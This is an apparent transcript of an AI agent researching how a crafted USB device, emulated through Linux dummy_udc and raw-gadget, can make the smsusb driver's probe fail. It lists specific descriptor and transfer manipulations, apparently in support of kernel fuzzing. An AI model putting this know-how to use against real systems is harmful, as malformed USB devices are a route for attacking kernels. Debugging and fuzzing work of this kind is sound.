My initial thought was to scrutinize the `smsusb_sendrequest` function, noticing the hardcoded pipe `usb_sndbulkpipe(dev->udev, 2)`. I saw this same hardcoding in `smsusb1_load_firmware` as well. This immediately made me wonder if there was a specific, fixed endpoint being relied upon, which could be a point of failure if it wasn't configured as expected.

Then, my attention shifted to `smsusb_probe` and `smsusb_init_device`. I examined the loops iterating through the interface's endpoints. In `smsusb_probe`, the code clears halts for both IN and OUT endpoints using their respective addresses. In `smsusb_init_device`, I observed how it populates `dev->in_ep` and `dev->out_ep` and calculates an `align` value based on the endpoint's maximum packet size, ensuring it's greater than `sizeof(struct sms_msg_hdr)`. The crucial check `if (!dev->in_ep || !dev->out_ep || align < 0)` stood out as a primary mechanism for probe failure due to missing or incorrectly configured endpoints. This implies that if the USB descriptor presented doesn't provide valid IN and OUT endpoints, or if the IN endpoint's maximum packet size is too small to accommodate the header, the probe will fail.

This led me to re-evaluate the user's question with increased focus. The core of their query seemed to be whether `dummy_udc` or `raw-gadget` initialization has any *specific* requirements that would *cause* an `smsusb` probe failure.

I interpreted the question in two ways:

1.  **Is there a *required specific setup* of `dummy_udc`/`raw-gadget` to *trigger* a probe failure?** This would imply a particular configuration, speed, module parameter, or endpoint setup that, when used with `dummy_udc`/`raw-gadget`, *intentionally* causes `smsusb` to fail its probe.
2.  **Can a probe failure be triggered *without* any special `dummy_udc`/`raw-gadget` setup, simply by presenting an *invalid* USB descriptor configuration through `raw-gadget`?** This would mean that standard `dummy_udc`/`raw-gadget` initialization is sufficient, and the failure arises from the *descriptors themselves* that `raw-gadget` allows userspace to define. Potential invalid descriptor scenarios that came to mind included missing IN/OUT endpoints, an IN endpoint max packet size smaller than 8 bytes, incorrect interface numbers, or issues during bulk/control requests or firmware loading.

I also considered the standard initialization flow for `raw-gadget`: binding to `dummy_udc` with parameters like `driver_name`, `device_name`, and speed, and then userspace providing descriptors and handling requests. The question then became: does this *standard* process itself, or any specific configuration *within* it (kernel config, module parameters), necessitate a particular setup for `smsusb` to fail?

To answer this, my next step was to investigate any known specific requirements or bugs related to the interaction between `smsusb`, `dummy_udc`, and `raw-gadget`. I decided to search for evidence in commit histories, bug trackers (like syzkaller/syzbot), and general kernel tree references for `smsusb` or related terms (like `siano`) that might indicate special setup conditions for probe failures. My aim was to see if there were any documented scenarios where `dummy_udc` or `raw-gadget` had to be configured in a *precise* way, beyond simply providing incorrect descriptors, to induce a probe failure in `smsusb`. If such specific requirements existed, they would be the key to answering the user's question directly.


168/7 2026/09/04 10:32 tool grepper
0m Error:
log-in to see details

Args:
map[Expression:smsusb.*dummy]

Results:
map[Output:]

169/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 44102
							output: 23
							thoughts: 55
						

Thoughts:
**My Thought Process on Investigating `smsusb` and Related Gadget Components**

My initial inclination is to delve into the commit history of our codebase. I want to see if there are any direct mentions of `smsusb`, `raw_gadget`, or `dummy_udc` within the commit messages themselves. This is often a treasure trove of information regarding the intent behind specific code changes, potential issues, or future plans. Beyond just commit messages, I'll also be looking for any accompanying documentation or comments that might have been added during these commits.

However, before I get too deep into the git logs, I'm going to pivot slightly. I think it would be more efficient to broaden my search first. I want to see where `smsusb` might be utilized or referenced *outside* of the core kernel development environment. This means looking through our collection of tools, example code, and sample applications. My hypothesis is that if `smsusb` is a component being actively developed or tested, it's likely to appear in practical implementations or demonstrations, which will give me a better sense of its intended use case and current status. This broader search might uncover dependencies or specific configurations that the commit logs alone might not reveal.


170/7 2026/09/04 10:32 tool grepper
0m Error:
log-in to see details

Args:
map[Expression:smsusb PathPrefix:tools]

Results:
map[Output:]

171/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 44178
							output: 27
							thoughts: 43
						

Thoughts:
**My Thought Process on Searching for Syzkaller Reproducers and Tools**

My primary objective here is to ascertain the presence of any syzkaller-related artifacts within specific directories of the codebase: `Documentation/`, `tools/testing/selftests/usb/`, and `drivers/usb/gadget/`. This is a systematic approach, aiming to leverage existing infrastructure if available.

I'm specifically looking for syzkaller "reproducers" – these would be the actual code snippets or configurations that trigger a specific bug found by syzkaller. Having these directly is invaluable, as it allows for immediate and repeatable verification of a fix or further debugging. It bypasses the need to rerun syzkaller from scratch for that particular issue.

Concurrently, I'm also searching for any "tools" associated with syzkaller within these locations. This could encompass a broader range of items:

*   **Syzkaller setup scripts:** Scripts that facilitate the installation or configuration of syzkaller for the USB subsystem.
*   **Custom syzkaller harnesses or configurations:** Modifications or specific settings of syzkaller tailored to the nuances of USB driver testing.
*   **Analysis scripts:** Tools that might help in parsing syzkaller output, identifying common failure patterns, or extracting relevant information from crash reports.
*   **Test case management tools:** If syzkaller integration extends to a more formal test suite, there might be tools for managing those test cases.

The choice of directories is deliberate and informed by my understanding of where such artifacts would logically reside:

*   `Documentation/`: This is the natural home for any explanatory materials, guides, or examples related to syzkaller's use within the project. It's where I'd expect to find documentation on *how* to use syzkaller for USB, or perhaps examples of its output.
*   `tools/testing/selftests/usb/`: This directory is highly relevant as it's dedicated to USB self-tests. It's a prime location for syzkaller-generated test cases or any tools developed to integrate syzkaller into the self-testing framework.
*   `drivers/usb/gadget/`: While primarily containing driver code, it's not uncommon for driver-specific testing tools or even reproduction scripts for bugs found within those drivers to be co-located. Gadget drivers are a frequent target for fuzzing due to their complex state management.

Therefore, my immediate action is to perform a targeted search across these specific paths, looking for keywords like "syzkaller," "reproducer," "fuzz," and any file extensions or naming conventions that might indicate syzkaller-related code or data. The goal is to quickly assess the existing syzkaller ecosystem for USB development and testing.


172/7 2026/09/04 10:32 tool codesearch-dir-index
0m Error:
log-in to see details

Args:
map[Dir:tools/testing/selftests/usb]

Results:
map[Files:<nil> Subdirs:<nil>]

173/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 44257
							output: 25
							thoughts: 17
						

Thoughts:
**Exploring the Testing Framework Landscape**

My immediate thought is to get a lay of the land within the `tools/testing/selftests` directory. I need to understand the structure and the types of tests that are organized there. This is fundamental to my work; if I'm to contribute effectively or even just navigate the existing testing infrastructure, I need to know what components are present and how they're arranged. This isn't just a cursory glance; it's about building a mental map of the testing ecosystem. I'm looking for patterns, conventions, and the overall architectural design of the self-tests.


174/7 2026/09/04 10:32 tool codesearch-dir-index
0m Args:
map[Dir:tools/testing/selftests]

Results:
map[Files:[clock-helpers.h kselftest.h kselftest_harness.h kselftest_module.h] Subdirs:[acct alloc_tag alsa amd-pstate arm64 bpf breakpoints cachestat capabilities cgroup clone3 connector core coredump cpu-hotplug cpufreq damon dax devices dm-verity dmabuf-heaps drivers dt efivarfs exec fchmodat2 filelock filesystems firmware fpu ftrace futex gpio hid ia64 intel_pstate iommu ipc ir kcmp kexec kho kmod kselftest kselftest_harness kvm landlock lib livepatch liveupdate lkdtm locking lsm media_tests membarrier memfd memory-hotplug mincore mm module mount mount_setattr move_mount_set_group mqueue mseal_system_mappings namespaces nci net nolibc ntb pci_endpoint pcie_bwctrl perf_events pid_namespace pidfd pipe power_supply powerpc prctl proc pstore ptp ptrace rcutorture rdma resctrl ring-buffer riscv rlimits rseq rtc rust safesetid sched sched_ext seccomp sgx signal size sparc64 splice static_keys sync syscall_user_dispatch sysctl tc-testing tdx thermal timens timers tmpfs tpm2 tty turbostat ublk uevent user_events vDSO verification vfio vsock watchdog wireguard x86 zram]]

175/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 44612
							output: 27
							thoughts: 17
						

Thoughts:
**My Thought Process on Examining `tools/testing/selftests/drivers/`**

My immediate impulse upon encountering the directive to examine `tools/testing/selftests/drivers/` is to dive straight into the directory itself. This isn't a task that requires extensive pre-computation or external research; it's about direct exploration of the codebase. My primary goal here is to understand the *what* and the *how* of the self-tests within the driver domain. I'm anticipating a landscape of tests designed to validate the functionality and robustness of various kernel drivers.

I expect to find a collection of test scripts, perhaps written in shell, Python, or even C, each targeting a specific driver or a class of drivers. My mind immediately races with questions about the scope: what drivers are covered? Are these low-level hardware interaction tests, functional tests, or perhaps stress tests designed to uncover edge cases and race conditions? I'm curious about the testing methodology employed – is it black-box testing, white-box testing, or a hybrid approach?

Furthermore, I'm keen to understand the infrastructure surrounding these tests. How are they executed? Is there a framework that orchestrates their running, collects results, and perhaps even generates reports? What are the dependencies for running these tests? Do they require specific hardware, kernel configurations, or other user-space tools? My expertise tells me that effective testing, especially in the kernel driver space, relies on a well-defined execution environment and clear reporting mechanisms.

I'll be looking for patterns in the directory structure. Subdirectories likely represent different driver categories (e.g., network, GPU, storage) or perhaps different testing paradigms. Filenames themselves will be crucial indicators of the tests' purpose. I'll be dissecting these names, looking for keywords that denote the driver being tested and the specific functionality being verified.

Beyond the surface level, I'll want to understand the *intent* behind these tests. Are they primarily for regression testing, ensuring that new changes haven't broken existing functionality? Or are they more focused on verifying new features or identifying performance bottlenecks? As an expert, I understand that the maturity and quality of a driver's self-testing suite are often a strong indicator of the overall quality and maintainability of the driver itself. Therefore, my examination will be critical, not just in terms of identifying the tests, but also in evaluating their comprehensiveness and effectiveness.


176/7 2026/09/04 10:32 tool codesearch-dir-index
0m Args:
map[Dir:tools/testing/selftests/drivers]

Results:
map[Files:<nil> Subdirs:[dma-buf gpu net ntsync platform s390x sdsi usb]]

177/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 44681
							output: 29
							thoughts: 18
						

Thoughts:
**My Thought Process on Investigating `tools/testing/selftests/drivers/usb`**

My initial inclination, when faced with the need to understand the testing framework for USB drivers, is to dive directly into the relevant code. My first port of call is clearly going to be `tools/testing/selftests/drivers/usb`. This directory name itself strongly suggests that it's the central hub for all self-tests related to USB drivers within the kernel testing infrastructure.

As an expert in this domain, I'm not just looking for a superficial overview. I'm expecting to find a structured approach to testing, likely involving a combination of user-space utilities and kernel-level hooks. My mind immediately starts anticipating the kinds of challenges inherent in USB driver testing: the need to simulate various device states, handle different USB protocols (USB 2.0, 3.x, Type-C), manage hotplugging events, and potentially test edge cases in data transfer and error handling.

Within `tools/testing/selftests/drivers/usb`, I'll be looking for:

*   **Test Harness/Framework:** How are the tests organized and executed? Is there a specific framework being used, or are these individual scripts? I'll be keen to see if there's a common entry point, a way to select specific tests, and mechanisms for reporting results.
*   **Test Cases:** What specific functionalities are being tested? I'll be scrutinizing the individual test files to understand the scope. Are we testing the core driver functionality, specific USB classes (e.g., mass storage, HID, CDC), or perhaps error injection scenarios?
*   **User-Space Utilities:** Since many USB interactions are managed from user-space (e.g., `libusb`, `udev`), I'll be looking for any user-space tools or libraries that are part of this testing suite. These might be used to enumerate devices, configure USB descriptors, or initiate specific USB requests.
*   **Kernel Interactions:** How do these tests interact with the kernel's USB subsystem? This is crucial. I'll be looking for any kernel modules that are loaded specifically for testing, or if the tests rely on existing kernel interfaces like `/sysfs` or `/proc`. Are there any specific kernel configurations or parameters needed to enable certain testing features?
*   **Device Emulation/Mocking:** A significant challenge in driver testing is the availability of actual hardware. I'll be on the lookout for any mechanisms designed to emulate USB devices or mock certain hardware behaviors. This is vital for reproducible and comprehensive testing.
*   **Configuration and Dependencies:** How are these tests configured? Are there specific hardware requirements, kernel configurations, or external dependencies that need to be met? I'll be checking for README files, configuration scripts, or documentation that outlines these aspects.
*   **Automation and Integration:** How are these tests integrated into the broader kernel testing infrastructure (e.g., kselftest)? I'll be curious about how they are run automatically during kernel builds or CI pipelines.

My expectation is that this directory will be the nexus of these efforts, providing the concrete implementation of how the kernel team validates the robustness and correctness of its USB driver stack. I'm ready to dissect the code, understand the underlying principles, and identify any potential areas for improvement or further testing.


178/7 2026/09/04 10:32 tool codesearch-dir-index
0m Args:
map[Dir:tools/testing/selftests/drivers/usb]

Results:
map[Files:<nil> Subdirs:[usbip]]

179/7 2026/09/04 10:32 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 44737
							output: 42
							thoughts: 2297
						

Thoughts:
**My Thought Process on `smsusb` Probe Failures with `dummy_udc` and `raw-gadget`**

Alright, I need to systematically break down why the `smsusb` driver might fail its probe function, specifically when dealing with user-space USB gadget emulation using `dummy_udc` and the `raw-gadget` interface. I'll approach this by first understanding the general failure points within the `smsusb` probe itself, and then see how `dummy_udc` and `raw-gadget` interact with those potential failure points.

My initial instinct is to scour the commit history and patch fixes related to `smsusb` and its core file, `smsusb.c`. This is where the specific logic for device detection and initialization resides. My goal is to identify all possible scenarios that could lead to `smsusb_probe` returning an error.

I've identified several key areas within `smsusb_probe` where failure can occur:

1.  **Interface Number Mismatch**: The driver expects a specific USB interface number, usually defined by `sms_get_board(id->driver_info)->intf_num`. If the emulated USB device presents a different interface number, it immediately bails out with `-ENODEV`. This is a straightforward check based on the `bInterfaceNumber` descriptor.

2.  **Multi-Altsetting Configuration Issues**: If an interface has multiple alternative settings (`num_altsetting > 1`), the driver attempts to set the desired interface (usually to setting 0). If `usb_set_interface()` fails – perhaps because the gadget emulator doesn't correctly handle the `SET_INTERFACE` control request or stalls it – the probe will fail.

3.  **ROM Interface Check**: There's a specific check for configurations with exactly two interfaces (`bNumInterfaces == 2`) and if the probe is attempting interface number 0. In this scenario, the driver explicitly ignores it and returns `-ENODEV`, likely because this is reserved for ROM functionality that the driver doesn't directly interact with during probing.

4.  **Stellar ROM Firmware Loading Failure**: For certain boards (`SMS1XXX_BOARD_SIANO_STELLAR_ROM`), the driver needs to load firmware. If `smsusb1_load_firmware` fails – meaning the firmware file can't be found or there are issues with USB bulk message transmission (failures or timeouts) – the probe will halt.

5.  **`smsusb_init_device` Failures**: This is a major function with several potential failure points:
    *   **Memory Allocation**: If `kzalloc_obj` fails to allocate memory for the device structure, it's an immediate `-ENOMEM`.
    *   **Endpoint Configuration**: The driver needs to find specific bulk IN and OUT endpoints. It iterates through the interface's endpoint descriptors.
        *   Failure occurs if no IN endpoint is found (`!dev->in_ep`).
        *   Failure occurs if no OUT endpoint is found (`!dev->out_ep`).
        *   Crucially, if the maximum packet size for the IN endpoint (`usb_endpoint_maxp(desc)`) is less than `sizeof(struct sms_msg_hdr)` (which is 8 bytes), the calculated `align` will be negative, leading to an `-ENODEV`. This means the endpoint buffer is too small to accommodate the message header.
    *   **Registration with `smscore`**: `smscore_register_device` can fail due to memory allocation issues or if system limits are reached.
    *   **URB Allocation**: The driver allocates a pool of URBs for communication. Failure to allocate any of these URBs (`usb_alloc_urb`) will result in a fallback and eventual probe failure.
    *   **Streaming Startup**: `smsusb_start_streaming` involves submitting URBs. If `smsusb_submit_urb` fails for any of these (e.g., `usb_submit_urb` returns an error), the probe will fail.
    *   **Device Startup (`smscore_start_device`)**: This is another critical step. It can fail due to:
        *   `smscore_set_device_mode` failing. This itself can be caused by issues like mode detection failures, errors or timeouts when sending requests over the USB bulk OUT pipe (pipe 2), missing firmware, or failed firmware download.
        *   `smscore_configure_board` failing.

Now, let's pivot to the specific question: *Is there any specific requirement for `dummy_udc` or `raw-gadget` to be initialized in a certain way to trigger a probe failure in `smsusb`?*

My analysis suggests **no, there's no *specific* or *unusual* initialization required for `dummy_udc` or `raw-gadget` to trigger a probe failure in `smsusb`**. The failure is entirely dictated by how the *emulated USB device* presents itself to the kernel's USB host subsystem, based on the descriptors and communication that `raw-gadget` facilitates.

Let's break down `dummy_udc` and `raw-gadget` individually:

*   **`dummy_udc` (Dummy UDC/HCD)**:
    *   When `dummy_hcd` is loaded, it provides a generic UDC (USB Device Controller) named `dummy_udc` (or `dummy_udc.0`). This UDC is quite capable, supporting standard speeds (Full, High, and Super Speed) and a generic set of endpoints.
    *   Critically, there are no special module parameters or specific initialization states *for `dummy_udc` itself* that are needed to make `smsusb` fail. It simply needs to be present and operational.

*   **`raw-gadget` (USB Raw Gadget Driver)**:
    *   This driver is controlled from userspace. The typical initialization involves opening `/dev/raw-gadget`, calling `ioctl(fd, USB_RAW_IOCTL_INIT, ...)` specifying the `driver_name` as "dummy_udc" and `device_name` as "dummy_udc.0", and setting a `speed` (e.g., `USB_SPEED_HIGH`, `USB_SPEED_FULL`). After this, `ioctl(fd, USB_RAW_IOCTL_RUN)` is called.
    *   Again, there's no need for `raw-gadget` to be configured in any *special* or `smsusb`-specific way. Standard initialization is sufficient.

**How `smsusb` Probe Failures Can Be Triggered Using `dummy_udc`/`raw-gadget`:**

The key is that the userspace gadget emulator (controlled by `raw-gadget`) must present a USB device that matches one of the `smsusb_id_table` entries (e.g., VID `0x187f`, PID `0x0200` for Siano Nova A, or any of the ~30 other supported IDs), AND then *intentionally* cause one of the `smsusb` driver's failure conditions. This can be done by manipulating the USB descriptors and the responses to control/bulk transfers.

Specific ways to trigger failures include:

*   **Endpoint Configuration Errors**:
    *   Simply not defining an IN or OUT endpoint in the emulated device configuration.
    *   Creating an IN endpoint with a `wMaxPacketSize` smaller than 8 bytes, which will cause the `align < 0` condition and return `-ENODEV`.

*   **Interface Number Issues**:
    *   Presenting an interface with a `bInterfaceNumber` other than what the `smsusb` driver expects based on the `id->driver_info`.

*   **ROM Interface Handling**:
    *   Crafting a configuration with `bNumInterfaces == 2` and attempting to probe interface 0. The driver will correctly identify this as the ROM interface and return `-ENODEV`.

*   **Altsetting Control Request Failure**:
    *   If the emulated device has multiple altsettings for an interface, and the `SET_INTERFACE` control request sent by `smsusb` is failed or stalled by the `raw-gadget` implementation.

*   **Communication/Firmware Failures**:
    *   This is more complex, but deliberate failures or timeouts on USB bulk OUT transfers (especially pipe 2, used by `smsusb_sendrequest`) or not providing expected responses during `smscore_start_device` (which involves `smscore_set_device_mode` and potentially firmware loading) can all lead to probe failures.

In summary, `dummy_udc` and `raw-gadget` are generic tools for emulating USB devices. They don't have inherent special requirements for `smsusb` probe failures. The failures are *induced* by the userspace configuration of the emulated device's descriptors and its response behavior to the `smsusb` driver's requests, directly exploiting the known failure points within the `smsusb_probe` function. I've reviewed the relevant source files (`dummy_hcd.c`, `raw_gadget.c`, `smscoreapi.c`, `smsusb.c`) and confirmed this understanding; there are no hidden dependencies or specific configuration quirks on the `dummy_udc`/`raw-gadget` side that are unique to `smsusb`.


180/7 2026/09/04 10:33 tool grepper
0m Args:
map[Expression:USB_RAW_IOCTL_ PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]

Results:
map[Output:drivers/usb/gadget/legacy/raw_gadget.c=1294=static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-1302-	switch (cmd) {
drivers/usb/gadget/legacy/raw_gadget.c:1303:	case USB_RAW_IOCTL_INIT:
drivers/usb/gadget/legacy/raw_gadget.c-1304-		ret = raw_ioctl_init(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1305-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1306:	case USB_RAW_IOCTL_RUN:
drivers/usb/gadget/legacy/raw_gadget.c-1307-		ret = raw_ioctl_run(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1308-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1309:	case USB_RAW_IOCTL_EVENT_FETCH:
drivers/usb/gadget/legacy/raw_gadget.c-1310-		ret = raw_ioctl_event_fetch(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1311-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1312:	case USB_RAW_IOCTL_EP0_WRITE:
drivers/usb/gadget/legacy/raw_gadget.c-1313-		ret = raw_ioctl_ep0_write(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1314-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1315:	case USB_RAW_IOCTL_EP0_READ:
drivers/usb/gadget/legacy/raw_gadget.c-1316-		ret = raw_ioctl_ep0_read(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1317-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1318:	case USB_RAW_IOCTL_EP_ENABLE:
drivers/usb/gadget/legacy/raw_gadget.c-1319-		ret = raw_ioctl_ep_enable(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1320-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1321:	case USB_RAW_IOCTL_EP_DISABLE:
drivers/usb/gadget/legacy/raw_gadget.c-1322-		ret = raw_ioctl_ep_disable(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1323-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1324:	case USB_RAW_IOCTL_EP_WRITE:
drivers/usb/gadget/legacy/raw_gadget.c-1325-		ret = raw_ioctl_ep_write(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1326-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1327:	case USB_RAW_IOCTL_EP_READ:
drivers/usb/gadget/legacy/raw_gadget.c-1328-		ret = raw_ioctl_ep_read(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1329-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1330:	case USB_RAW_IOCTL_CONFIGURE:
drivers/usb/gadget/legacy/raw_gadget.c-1331-		ret = raw_ioctl_configure(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1332-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1333:	case USB_RAW_IOCTL_VBUS_DRAW:
drivers/usb/gadget/legacy/raw_gadget.c-1334-		ret = raw_ioctl_vbus_draw(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1335-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1336:	case USB_RAW_IOCTL_EPS_INFO:
drivers/usb/gadget/legacy/raw_gadget.c-1337-		ret = raw_ioctl_eps_info(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1338-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1339:	case USB_RAW_IOCTL_EP0_STALL:
drivers/usb/gadget/legacy/raw_gadget.c-1340-		ret = raw_ioctl_ep0_stall(dev, value);
drivers/usb/gadget/legacy/raw_gadget.c-1341-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1342:	case USB_RAW_IOCTL_EP_SET_HALT:
drivers/usb/gadget/legacy/raw_gadget.c-1343-		ret = raw_ioctl_ep_set_clear_halt_wedge(
--
drivers/usb/gadget/legacy/raw_gadget.c-1345-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1346:	case USB_RAW_IOCTL_EP_CLEAR_HALT:
drivers/usb/gadget/legacy/raw_gadget.c-1347-		ret = raw_ioctl_ep_set_clear_halt_wedge(
--
drivers/usb/gadget/legacy/raw_gadget.c-1349-		break;
drivers/usb/gadget/legacy/raw_gadget.c:1350:	case USB_RAW_IOCTL_EP_SET_WEDGE:
drivers/usb/gadget/legacy/raw_gadget.c-1351-		ret = raw_ioctl_ep_set_clear_halt_wedge(
]

181/7 2026/09/04 10:33 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 48686
							output: 724
							thoughts: 670
						

Thoughts:
**Understanding `smsusb` Driver Probe Failures with Raw Gadget**

As an expert in this domain, I've been contemplating the intricacies of triggering a probe failure within the `smsusb` driver, specifically when interacting with the `raw-gadget` framework. My thought process has been to dissect the interaction layer by layer, starting from the foundational elements and progressing to the specific conditions that lead to an unsuccessful probe.

Initially, I confirmed that there isn't any arcane or custom initialization required for `dummy_udc` or `raw-gadget` themselves to elicit a probe failure. The standard procedure – binding the `raw-gadget` to `dummy_udc`, establishing a valid USB speed, and then activating the gadget – is entirely sufficient to get the `smsusb` driver to attempt its probe sequence.

The core of the interaction, as I see it, lies in how `dummy_udc` serves as a virtual USB Device Controller. `raw-gadget`, in turn, acts as the bridge, allowing userspace to communicate with this virtual controller. This communication is managed through standard `ioctl` calls, specifically `USB_RAW_IOCTL_INIT` and `USB_RAW_IOCTL_RUN`. The `INIT` call requires specifying a `driver_name` (typically "dummy_udc"), a `device_name` (like "dummy_udc.0"), and a standard USB speed (e.g., `USB_SPEED_HIGH` or `USB_SPEED_FULL`). The `RUN` call then activates the configured gadget. Crucially, any probe failure within `smsusb` is dictated entirely by the USB descriptors and the handling of control and bulk requests that userspace, through `raw-gadget`, presents.

Delving deeper into the specifics, I've identified a set of precise conditions within the `smsusb_probe` and `smsusb_init_device` functions that will lead to a probe failure:

*   **Device ID Matching:** The `smsusb` driver will only even attempt to probe if the Vendor ID (VID) and Product ID (PID) presented in the device descriptor precisely match an entry in its `smsusb_id_table`. Examples of these critical matching pairs include `0x187f:0x0200` and `0x2040:0x5500`. Without this initial match, the probe simply won't proceed.

*   **Interface Number Mismatch:** Even if the IDs match, a probe can fail if the `bInterfaceNumber` field of the current alternate setting (`cur_altsetting->desc.bInterfaceNumber`) doesn't align with the driver's expectation, which is typically `0` (indicated by `board->intf_num`). If this mismatch occurs, the driver will return `-ENODEV`.

*   **ROM Interface Filter:** Another specific scenario that leads to failure is when the device descriptor indicates `bNumInterfaces` is equal to `2`, and the driver is attempting to probe interface `0`. This particular configuration triggers a `-ENODEV` return.

*   **Altsetting Set Interface Failure:** If the device offers more than one alternate setting (`num_altsetting > 1`), a probe failure can occur if the `usb_set_interface(..., 0)` call, which is meant to select the primary alternate setting, fails. This failure is often a consequence of userspace either stalling or actively failing the `SET_INTERFACE` control request.

*   **Missing or Invalid Endpoints:** The presence and proper configuration of endpoints are paramount. A probe will fail if:
    *   An IN endpoint is missing (`dev->in_ep == 0`).
    *   An OUT endpoint is missing (`dev->out_ep == 0`).
    *   The maximum packet size of the IN endpoint is too small. Specifically, if `wMaxPacketSize < sizeof(struct sms_msg_hdr)` (which is 8 bytes), it results in `align < 0` and a `-ENODEV` error.

*   **Firmware Loading or Stellar ROM Failure:** For specific board configurations like `SMS1XXX_BOARD_SIANO_STELLAR_ROM`, the probe can fail if the firmware loading process encounters an issue, or if a bulk transfer to the OUT pipe either fails or times out.

*   **Device Initialization or Streaming Failure:** Even after initial checks, the probe can be terminated if critical operational functions fail. This includes:
    *   Failure of URB (USB Request Block) submission within `smsusb_start_streaming`.
    *   A general failure of `smscore_start_device` to initialize. This can manifest as timeouts or failures during bulk requests to endpoint `2`, which are essential for mode detection or firmware upload.

By understanding these specific failure points, I can effectively construct scenarios using `raw-gadget` to reproduce and diagnose `smsusb` driver probe issues.


182/7 2026/09/04 10:33 tool set-results
0m Args:
map[Answer:**No**, there is no specific or unusual initialization requirement for `dummy_udc` or `raw-gadget` to trigger a probe failure in the `smsusb` driver.

### Details & Explanation:

1. **Standard `dummy_udc` / `raw-gadget` Initialization is Sufficient:**
   - `dummy_udc` (from the `dummy_hcd` module) acts as a virtual USB Device Controller (UDC) supporting standard USB speeds (Full, High, Super) and standard endpoints. No special module parameters or hardware setup are needed.
   - `raw-gadget` is initialized using the standard userspace ioctl sequence:
     1. Open `/dev/raw-gadget`.
     2. Call `USB_RAW_IOCTL_INIT` with `driver_name = "dummy_udc"`, `device_name = "dummy_udc.0"` (or the active dummy UDC instance), and a valid speed (e.g. `USB_SPEED_HIGH` or `USB_SPEED_FULL`).
     3. Call `USB_RAW_IOCTL_RUN` and handle standard enumeration events via `USB_RAW_IOCTL_EVENT_FETCH`.

2. **How `smsusb` Probe Failure is Triggered:**
   The failure of `smsusb_probe` is determined solely by the USB descriptors and control/bulk endpoint behavior provided by userspace through `raw-gadget`. Once an emulated device presents a Vendor ID and Product ID matching `smsusb_id_table` (e.g., `0x187f:0x0200`, `0x2040:0x5500`, etc.), probe failure can be triggered in several ways:

   - **Missing or Invalid Endpoints (`smsusb_init_device`):**
     - Providing no Bulk IN endpoint (`!dev->in_ep`).
     - Providing no Bulk OUT endpoint (`!dev->out_ep`).
     - Providing a Bulk IN endpoint with `wMaxPacketSize < 8` (`sizeof(struct sms_msg_hdr)`). The driver calculates `align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr)`; if `align < 0`, `smsusb_init_device` returns `-ENODEV`.
   - **Interface Number Mismatch:**
     - Presenting an interface with `bInterfaceNumber` that does not match the expected board interface number `sms_get_board(...)->intf_num` (typically `0`), returning `-ENODEV`.
   - **Dual-Interface ROM Configuration:**
     - Setting `bNumInterfaces == 2` in the configuration descriptor and binding on interface 0 (which returns `-ENODEV`).
   - **Failing `SET_INTERFACE`:**
     - Presenting `num_altsetting > 1` and stalling or failing the `SET_INTERFACE` USB standard control request.
   - **Communication / Device Start Failure:**
     - Failing, stalling, or timing out on bulk transfers (e.g., transfers on Bulk OUT endpoint 2 used by `smsusb_sendrequest` / `smsusb1_load_firmware` or during `smscore_start_device` mode detection).]

Results:
map[Answer:**No**, there is no specific or unusual initialization requirement for `dummy_udc` or `raw-gadget` to trigger a probe failure in the `smsusb` driver.

### Details & Explanation:

1. **Standard `dummy_udc` / `raw-gadget` Initialization is Sufficient:**
   - `dummy_udc` (from the `dummy_hcd` module) acts as a virtual USB Device Controller (UDC) supporting standard USB speeds (Full, High, Super) and standard endpoints. No special module parameters or hardware setup are needed.
   - `raw-gadget` is initialized using the standard userspace ioctl sequence:
     1. Open `/dev/raw-gadget`.
     2. Call `USB_RAW_IOCTL_INIT` with `driver_name = "dummy_udc"`, `device_name = "dummy_udc.0"` (or the active dummy UDC instance), and a valid speed (e.g. `USB_SPEED_HIGH` or `USB_SPEED_FULL`).
     3. Call `USB_RAW_IOCTL_RUN` and handle standard enumeration events via `USB_RAW_IOCTL_EVENT_FETCH`.

2. **How `smsusb` Probe Failure is Triggered:**
   The failure of `smsusb_probe` is determined solely by the USB descriptors and control/bulk endpoint behavior provided by userspace through `raw-gadget`. Once an emulated device presents a Vendor ID and Product ID matching `smsusb_id_table` (e.g., `0x187f:0x0200`, `0x2040:0x5500`, etc.), probe failure can be triggered in several ways:

   - **Missing or Invalid Endpoints (`smsusb_init_device`):**
     - Providing no Bulk IN endpoint (`!dev->in_ep`).
     - Providing no Bulk OUT endpoint (`!dev->out_ep`).
